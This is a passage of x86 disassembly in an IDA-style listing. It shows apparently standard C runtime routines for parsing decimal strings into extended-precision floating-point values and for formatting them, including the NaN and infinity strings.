loc_41E9FD:				; CODE XREF: sub_41E9B3+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41E9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA11	proc near		; CODE XREF: sub_41EA6C+30p
					; sub_41EA6C+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41EA11	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA3F	proc near		; CODE XREF: sub_41F004+1C8p
					; sub_41F4FC+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41EA3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6C	proc near		; CODE XREF: sub_41EB33+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41EAE0
		push	edi
		mov	[ebp+arg_8], eax

loc_41EA93:				; CODE XREF: sub_41EA6C+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41EA11
		push	ebx
		call	sub_41EA11
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E9B3
		push	ebx
		call	sub_41EA11
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E9B3
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41EA93
		xor	edx, edx
		pop	edi

loc_41EAE0:				; CODE XREF: sub_41EA6C+21j
					; sub_41EA6C+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41EB0D
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41EAE0
; ---------------------------------------------------------------------------

loc_41EB0D:				; CODE XREF: sub_41EA6C+77j
		mov	esi, 8000h

loc_41EB12:				; CODE XREF: sub_41EA6C+B9j
		test	[ebx+8], esi
		jnz	short loc_41EB27
		push	ebx
		call	sub_41EA11
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41EB12
; ---------------------------------------------------------------------------

loc_41EB27:				; CODE XREF: sub_41EA6C+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41EA6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB33	proc near		; CODE XREF: sub_41DD0E+17p
					; sub_41DD3B+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_41EB6E:				; CODE XREF: sub_41EB33+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41EB84
		cmp	cl, 9
		jz	short loc_41EB84
		cmp	cl, 0Ah
		jz	short loc_41EB84
		cmp	cl, 0Dh
		jnz	short loc_41EB87

loc_41EB84:				; CODE XREF: sub_41EB33+40j
					; sub_41EB33+45j ...
		inc	edi
		jmp	short loc_41EB6E
; ---------------------------------------------------------------------------

loc_41EB87:				; CODE XREF: sub_41EB33+4Fj
		push	4
		pop	esi

loc_41EB8A:				; CODE XREF: sub_41EB33+AEj
					; sub_41EB33+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41EE0D	; default
					; jumptable 0041EB96 case 10
		jmp	off_41EFD4[eax*4] ; switch jump

loc_41EB9D:				; DATA XREF: seg000:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 0
		jl	short loc_41EBAE
		cmp	bl, 39h
		jg	short loc_41EBAE

loc_41EBA7:				; CODE XREF: sub_41EB33+C4j
					; sub_41EB33+118j
		push	3
		jmp	loc_41EDCB
; ---------------------------------------------------------------------------

loc_41EBAE:				; CODE XREF: sub_41EB33+6Dj
					; sub_41EB33+72j
		cmp	bl, byte_437F80
		jnz	short loc_41EBBD

loc_41EBB6:				; CODE XREF: sub_41EB33+124j
		push	5
		jmp	loc_41EE03
; ---------------------------------------------------------------------------

loc_41EBBD:				; CODE XREF: sub_41EB33+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EBE3
		dec	eax
		dec	eax
		jz	short loc_41EBD7
		sub	eax, 3
		jnz	loc_41EEA6
		jmp	loc_41EC66
; ---------------------------------------------------------------------------

loc_41EBD7:				; CODE XREF: sub_41EB33+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EBE3:				; CODE XREF: sub_41EB33+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EBEC:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41EBF9
		cmp	bl, 39h
		jle	short loc_41EBA7

loc_41EBF9:				; CODE XREF: sub_41EB33+BFj
		cmp	bl, byte_437F80
		jz	loc_41ECC1
		cmp	bl, 2Bh
		jz	short loc_41EC3B
		cmp	bl, 2Dh
		jz	short loc_41EC3B
		cmp	bl, 30h
		jz	short loc_41EC66

loc_41EC14:				; CODE XREF: sub_41EB33+207j
		cmp	bl, 43h
		jle	loc_41EEA6
		cmp	bl, 45h
		jle	short loc_41EC34
		cmp	bl, 63h
		jle	loc_41EEA6
		cmp	bl, 65h
		jg	loc_41EEA6

loc_41EC34:				; CODE XREF: sub_41EB33+EDj
		push	6
		jmp	loc_41EE03
; ---------------------------------------------------------------------------

loc_41EC3B:				; CODE XREF: sub_41EB33+D5j
					; sub_41EB33+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41EE03
; ---------------------------------------------------------------------------

loc_41EC43:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 2
		jl	short loc_41EC51
		cmp	bl, 39h
		jle	loc_41EBA7

loc_41EC51:				; CODE XREF: sub_41EB33+113j
		cmp	bl, byte_437F80
		jz	loc_41EBB6
		cmp	bl, 30h
		jnz	loc_41EE1B

loc_41EC66:				; CODE XREF: sub_41EB33+9Fj
					; sub_41EB33+DFj
		mov	eax, edx
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EC6D:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		mov	[ebp+var_10], edx ; jumptable 0041EB96 case 3

loc_41EC70:				; CODE XREF: sub_41EB33+184j
		cmp	dword_437F7C, edx
		jle	short loc_41EC89
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41EC97
; ---------------------------------------------------------------------------

loc_41EC89:				; CODE XREF: sub_41EB33+143j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_41EC97:				; CODE XREF: sub_41EB33+154j
		test	eax, eax
		jz	short loc_41ECB9
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ECB1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41ECB4
; ---------------------------------------------------------------------------

loc_41ECB1:				; CODE XREF: sub_41EB33+16Cj
		inc	[ebp+var_8]

loc_41ECB4:				; CODE XREF: sub_41EB33+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EC70
; ---------------------------------------------------------------------------

loc_41ECB9:				; CODE XREF: sub_41EB33+166j
		cmp	bl, byte_437F80
		jnz	short loc_41ED28

loc_41ECC1:				; CODE XREF: sub_41EB33+CCj
		mov	eax, esi
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41ECC8:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	[ebp+var_4], 0	; jumptable 0041EB96 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41ECE1

loc_41ECD4:				; CODE XREF: sub_41EB33+1ACj
		cmp	bl, 30h
		jnz	short loc_41ECE1
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECD4
; ---------------------------------------------------------------------------

loc_41ECE1:				; CODE XREF: sub_41EB33+19Fj
					; sub_41EB33+1A4j ...
		cmp	dword_437F7C, edx
		jle	short loc_41ECFA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED08
; ---------------------------------------------------------------------------

loc_41ECFA:				; CODE XREF: sub_41EB33+1B4j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_41ED08:				; CODE XREF: sub_41EB33+1C5j
		test	eax, eax
		jz	short loc_41ED28
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ED23
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_41ED23:				; CODE XREF: sub_41EB33+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECE1
; ---------------------------------------------------------------------------

loc_41ED28:				; CODE XREF: sub_41EB33+18Cj
					; sub_41EB33+1D7j
		cmp	bl, 2Bh
		jz	loc_41EC3B
		cmp	bl, 2Dh
		jz	loc_41EC3B
		jmp	loc_41EC14
; ---------------------------------------------------------------------------

loc_41ED3F:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	dword_437F7C, edx ; jumptable 0041EB96 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41ED5B
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED69
; ---------------------------------------------------------------------------

loc_41ED5B:				; CODE XREF: sub_41EB33+215j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_41ED69:				; CODE XREF: sub_41EB33+226j
		test	eax, eax
		jz	loc_41EE1B
		mov	eax, esi
		jmp	short loc_41EDCC
; ---------------------------------------------------------------------------

loc_41ED75:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		lea	ecx, [edi-2]	; jumptable 0041EB96 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41ED85
		cmp	bl, 39h
		jle	short loc_41EDC9

loc_41ED85:				; CODE XREF: sub_41EB33+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EE01
		dec	eax
		dec	eax
		jz	short loc_41EDF5
		sub	eax, 3
		jnz	loc_41EEA9

loc_41ED9A:				; CODE XREF: sub_41EB33+2A4j
		push	8
		jmp	short loc_41EE03
; ---------------------------------------------------------------------------

loc_41ED9E:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		mov	[ebp+var_20], edx ; jumptable 0041EB96 case 8

loc_41EDA1:				; CODE XREF: sub_41EB33+276j
		cmp	bl, 30h
		jnz	short loc_41EDAB
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EDA1
; ---------------------------------------------------------------------------

loc_41EDAB:				; CODE XREF: sub_41EB33+271j
		cmp	bl, 31h
		jl	loc_41EEA6
		cmp	bl, 39h
		jg	loc_41EEA6
		jmp	short loc_41EDC9
; ---------------------------------------------------------------------------

loc_41EDBF:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 7
		jl	short loc_41EDD2
		cmp	bl, 39h
		jg	short loc_41EDD2

loc_41EDC9:				; CODE XREF: sub_41EB33+250j
					; sub_41EB33+28Aj
		push	9

loc_41EDCB:				; CODE XREF: sub_41EB33+76j
		pop	eax

loc_41EDCC:				; CODE XREF: sub_41EB33+240j
		dec	edi
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EDD2:				; CODE XREF: sub_41EB33+28Fj
					; sub_41EB33+294j
		cmp	bl, 30h
		jnz	short loc_41EE1B
		jmp	short loc_41ED9A
; ---------------------------------------------------------------------------

loc_41EDD9:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		cmp	[ebp+arg_18], 0	; jumptable 0041EB96 case 11
		jz	short loc_41EE09
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41EE01
		dec	eax
		dec	eax
		jnz	loc_41EEA9

loc_41EDF5:				; CODE XREF: sub_41EB33+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EE01:				; CODE XREF: sub_41EB33+258j
					; sub_41EB33+2B8j
		push	7

loc_41EE03:				; CODE XREF: sub_41EB33+85j
					; sub_41EB33+103j ...
		pop	eax
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EE09:				; CODE XREF: sub_41EB33+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_41EE0D:				; CODE XREF: sub_41EB33+5Dj
					; sub_41EB33+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041EB96 case 10
		jz	loc_41EEAB
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------

loc_41EE1B:				; CODE XREF: sub_41EB33+12Dj
					; sub_41EB33+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41EEAB
; ---------------------------------------------------------------------------

loc_41EE23:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: seg000:off_41EFD4o
		mov	[ebp+var_20], 1	; jumptable 0041EB96 case 9
		xor	esi, esi

loc_41EE2C:				; CODE XREF: sub_41EB33+339j
		cmp	dword_437F7C, 1
		jle	short loc_41EE44
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41EE53
; ---------------------------------------------------------------------------

loc_41EE44:				; CODE XREF: sub_41EB33+300j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41EE53:				; CODE XREF: sub_41EB33+30Fj
		test	eax, eax
		jz	short loc_41EE73
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41EE6E
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE2C
; ---------------------------------------------------------------------------

loc_41EE6E:				; CODE XREF: sub_41EB33+334j
		mov	esi, 1451h

loc_41EE73:				; CODE XREF: sub_41EB33+322j
		mov	[ebp+var_1C], esi

loc_41EE76:				; CODE XREF: sub_41EB33+371j
		cmp	dword_437F7C, 1
		jle	short loc_41EE8E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41EE9D
; ---------------------------------------------------------------------------

loc_41EE8E:				; CODE XREF: sub_41EB33+34Aj
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_41EE9D:				; CODE XREF: sub_41EB33+359j
		test	eax, eax
		jz	short loc_41EEA6
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE76
; ---------------------------------------------------------------------------

loc_41EEA6:				; CODE XREF: sub_41EB33+99j
					; sub_41EB33+E4j ...
		dec	edi
		jmp	short loc_41EEAB
; ---------------------------------------------------------------------------

loc_41EEA9:				; CODE XREF: sub_41EB33+261j
					; sub_41EB33+2BCj
		mov	edi, ecx

loc_41EEAB:				; CODE XREF: sub_41EB33+2DDj
					; sub_41EB33+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41EF93
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41EED7
		cmp	[ebp+var_45], 5
		jl	short loc_41EECB
		inc	[ebp+var_45]

loc_41EECB:				; CODE XREF: sub_41EB33+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41EEDA
; ---------------------------------------------------------------------------

loc_41EED7:				; CODE XREF: sub_41EB33+38Dj
		mov	eax, [ebp+var_C]

loc_41EEDA:				; CODE XREF: sub_41EB33+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41EF89

loc_41EEE4:				; CODE XREF: sub_41EB33+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41EEF2
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41EEE4
; ---------------------------------------------------------------------------

loc_41EEF2:				; CODE XREF: sub_41EB33+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41EA6C
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41EF11
		neg	eax

loc_41EF11:				; CODE XREF: sub_41EB33+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41EF1C
		add	eax, [ebp+arg_10]

loc_41EF1C:				; CODE XREF: sub_41EB33+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41EF24
		sub	eax, [ebp+arg_14]

loc_41EF24:				; CODE XREF: sub_41EB33+3ECj
		cmp	eax, 1450h
		jle	short loc_41EF5B
		mov	[ebp+var_2C], 1

loc_41EF32:				; CODE XREF: sub_41EB33+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_41EF3E:				; CODE XREF: sub_41EB33+454j
					; sub_41EB33+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41EFA4
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41EFB9
; ---------------------------------------------------------------------------

loc_41EF5B:				; CODE XREF: sub_41EB33+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41EF6B
		mov	[ebp+var_30], 1
		jmp	short loc_41EF32
; ---------------------------------------------------------------------------

loc_41EF6B:				; CODE XREF: sub_41EB33+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41F71C
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41EF3E
; ---------------------------------------------------------------------------

loc_41EF89:				; CODE XREF: sub_41EB33+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41EF3E
; ---------------------------------------------------------------------------

loc_41EF93:				; CODE XREF: sub_41EB33+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41EFB9
; ---------------------------------------------------------------------------

loc_41EFA4:				; CODE XREF: sub_41EB33+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41EFB9
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_41EFB9:				; CODE XREF: sub_41EB33+426j
					; sub_41EB33+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41EB33	endp

; ---------------------------------------------------------------------------
off_41EFD4	dd offset loc_41EB9D	; DATA XREF: sub_41EB33+63r
		dd offset loc_41EBEC	; jump table for switch	statement
		dd offset loc_41EC43
		dd offset loc_41EC6D
		dd offset loc_41ECC8
		dd offset loc_41ED3F
		dd offset loc_41ED75
		dd offset loc_41EDBF
		dd offset loc_41ED9E
		dd offset loc_41EE23
		dd offset loc_41EE0D
		dd offset loc_41EDD9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F004	proc near		; CODE XREF: sub_41DDDF+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F066
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F06A
; ---------------------------------------------------------------------------

loc_41F066:				; CODE XREF: sub_41F004+5Aj
		mov	byte ptr [ebx+2], 20h

loc_41F06A:				; CODE XREF: sub_41F004+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F090
		test	edi, edi
		jnz	short loc_41F090
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F090

loc_41F07B:				; CODE XREF: sub_41F004+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41F28E
; ---------------------------------------------------------------------------

loc_41F090:				; CODE XREF: sub_41F004+6Cj
					; sub_41F004+70j ...
		cmp	dx, si
		jnz	short loc_41F10F
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F0A9
		cmp	[ebp+arg_0], 0
		jz	short loc_41F0B8

loc_41F0A9:				; CODE XREF: sub_41F004+9Dj
		test	edi, 40000000h
		jnz	short loc_41F0B8
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F0FE
; ---------------------------------------------------------------------------

loc_41F0B8:				; CODE XREF: sub_41F004+A3j
					; sub_41F004+ABj
		test	cx, cx
		jz	short loc_41F0D2
		cmp	edi, 0C0000000h
		jnz	short loc_41F0D2
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0F9
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F0E1
; ---------------------------------------------------------------------------

loc_41F0D2:				; CODE XREF: sub_41F004+B7j
					; sub_41F004+BFj
		cmp	edi, eax
		jnz	short loc_41F0F9
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0F9
		push	offset a1Inf	; "1#INF"

loc_41F0E1:				; CODE XREF: sub_41F004+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_415C00
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_41F0F0:				; CODE XREF: sub_41F004+109j
		and	[ebp+var_4], 0
		jmp	loc_41F267
; ---------------------------------------------------------------------------

loc_41F0F9:				; CODE XREF: sub_41F004+C5j
					; sub_41F004+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_41F0FE:				; CODE XREF: sub_41F004+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_415C00
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F0F0
; ---------------------------------------------------------------------------

loc_41F10F:				; CODE XREF: sub_41F004+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F71C
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41F170
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F4FC
		pop	ecx
		pop	ecx

loc_41F170:				; CODE XREF: sub_41F004+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41F18A
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41F18D
		jmp	loc_41F07B
; ---------------------------------------------------------------------------

loc_41F18A:				; CODE XREF: sub_41F004+173j
		mov	edi, [ebp+arg_C]

loc_41F18D:				; CODE XREF: sub_41F004+17Fj
		cmp	edi, 15h
		jle	short loc_41F195
		push	15h
		pop	edi

loc_41F195:				; CODE XREF: sub_41F004+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_41F1AB:				; CODE XREF: sub_41F004+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA11
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_41F1AB
		test	esi, esi
		jge	short loc_41F1D5
		neg	esi
		and	esi, 0FFh
		jle	short loc_41F1D5

loc_41F1C8:				; CODE XREF: sub_41F004+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41EA3F
		dec	esi
		pop	ecx
		jnz	short loc_41F1C8

loc_41F1D5:				; CODE XREF: sub_41F004+1B8j
					; sub_41F004+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
